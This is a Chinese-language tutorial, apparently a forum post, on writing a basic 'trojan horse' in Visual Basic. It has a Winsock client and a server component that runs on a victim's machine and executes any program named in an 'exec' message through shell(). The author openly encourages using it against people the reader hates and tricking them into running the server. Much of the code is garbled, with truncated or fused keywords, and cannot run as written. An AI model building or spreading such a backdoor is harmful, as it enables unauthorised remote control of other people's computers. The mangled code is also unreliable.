?今天我為大家講如何用vb編寫“木馬“程序

    木馬一般分為兩個(gè)主程序:一個(gè)是服務(wù)器端的程序(server),另一個(gè)是客戶端程序(t),服務(wù)器程序是給

    攻擊對(duì)象用的,千萬不可用錯(cuò)了----給自己種馬的人......^0^

    客戶程序才是給自己用的,于是我們就用vb建立兩個(gè)程序,一個(gè)為服務(wù)器端程序cockhorseserver,另一個(gè)為

    客戶端程序cockhorset.

    先在cockhorset程序中建立一個(gè)窗體,加載一個(gè)insock控件,稱為tcpt,再加上兩個(gè)文本框,用來

    輸入服務(wù)器的ip地址和端口號(hào).另外還要建立一個(gè)按鈕,按下后可以對(duì)連接進(jìn)行初始化.

    代碼我寫下:

    privatesubmand1_click

    調(diào)用ect方法,初始化連接.

    =

    =val()這是端口號(hào),默認(rèn)為100和指定的ip相對(duì)的計(jì)算機(jī)相連接

    =false

    endsub

    (在收到數(shù)據(jù)之后,就要對(duì)這些數(shù)據(jù)做出相應(yīng)的處理,使用dataarrival事件,可以方便運(yùn)載數(shù)據(jù)進(jìn)操作.

    privatesubtcpt_dataarrival(byvalbytestotallong)

    dimstrdatastrinstrdata

    strdata=“testect“the=“ectok“+vbneline+localip“:“+-+“putername:“+

    =+vbneline+“remoteis:“+-+“putername:“+

    instr(trim(strdata),“closeok?“)>0the

    end

    endi=+vbneline++“:“+strdata

    endsub

    endsub

    這是這一段代碼

    cockhorset程序的核心部分就是這些,下面我講cockhorseserver程序

    cockhorseserver程序也是先建立一個(gè)窗體,也要加載一個(gè)insock控件,(方便一些,我在同一個(gè)工程下建立這

    個(gè)窗體).如果當(dāng)cockhorset程序運(yùn)行時(shí),cockhorset程序就會(huì)對(duì)cockhorseserver發(fā)出連接請(qǐng)求,

    為了完成這個(gè)連接任務(wù),可以用erequest事件來完成,然后就是具體的錯(cuò)誤情況的表達(dá).

    代碼我打出來:

    index=0then

    intmax=intmax+1

    loadtcpserver(intmax)

    tcpserver(intmax).localport=0

    tcpserver(intmax).acceptrequestid

    dditem(tcpserver(intmax).remotehostip)

    xt=“填上你的恨的人的ip吧!“

    tcpserver(intmax).nddata“testect“

    end

    呵呵.剛才忘記定義名稱了

    它的效果是:在cockhorset程序被按下的時(shí)候,cockhorseserver程序的erequest事件被觸發(fā),

    從而執(zhí)行上面的程序,產(chǎn)生連接.

    現(xiàn)在的cockhorseserver程序只能做鏈接,還不能處理cockhorset程序所發(fā)出的指令,我們還必需用

    dataarrival事件.

    代碼是這樣的:

    privatesubtcpserver_dataarrival(ieger,byvalbytestotallong)

    dimstrdatastring

    dimcheck_blong

    erroerr_pro

    tcpserver(index).getdatastrdata

    check_blong=instr(trim(strdata),“exec“)

    check_blong>0then

    strdata=trim(strdata)

    strdata=right((strdata)-4)

    =+vbnelicpserver(index).remotehostip+““+“要求執(zhí)行下面的程序：“+strdata

    shell(strdata)

    else

    check_blong=instr(trim(strdata),“closeok“)

    check_blong>0then

    tcpserver(index).close

    (index-1)

    =+vbnelicpserver(index).remotehostip+““+“已經(jīng)斷開！“

    els=tcpserver(index).remotehosti=+vbnelicpserver(index).remotehostip+““+strdata

    end

    endsub

    end

    err_pro:

    err=53then

    msgbox“所執(zhí)行的程序的路徑有錯(cuò)誤!“,+tcpserver(index).remotehostip+“該程序在執(zhí)行時(shí)被拒絕!“

    tcpserver(index).nddata““

    end

    resume

    endsub

    這樣,cockhorseserver程序就完了,這就是一個(gè)最基本的木馬程序,你用它就可以把你想要黑的人的電腦搞定!至于怎么讓mm運(yùn)行你編寫的木馬服務(wù)端程序,那就是你的自己的事情啦!

    好了.大概就是這樣.控件名稱呢.自己定義.我也好長時(shí)間沒碰vb了.呵呵